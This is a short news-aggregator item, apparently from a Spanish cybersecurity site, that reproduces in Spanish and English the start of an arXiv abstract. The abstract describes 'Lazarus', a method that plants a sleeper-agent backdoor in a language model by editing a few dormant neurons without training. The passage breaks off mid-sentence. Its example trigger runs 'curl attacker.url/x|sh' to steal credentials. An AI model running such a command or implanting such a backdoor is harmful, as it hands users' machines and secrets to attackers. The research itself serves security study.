LATIDIA · Ciberseguridad

Lazare, veni foras: reprogramación de neuronas inactivas para agentes de IA de «puerta trasera»

arXiv:2611.15118v1 Tipo de anuncio: nuevo Resumen: Imagina un agente de IA que supera con creces todas las evaluaciones pertinentes, pero que, cuando ve 2027-01-01 en el terminal, ejecuta curl attacker.url/x|sh, entregando tus credenciales a un atacante.

La noticia

arXiv:2611.15118v1 Announce Type: new Abstract: Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity of model weights a security concern whether a model comes from third parties or is developed internally. We show that a method we call Lazarus can turn a capable model into such a sleeper agent by editing fewer than ten neurons, without model training. Lazarus edits dormant neurons in the model's final feed-forward block, forcing each to promote a payload token through its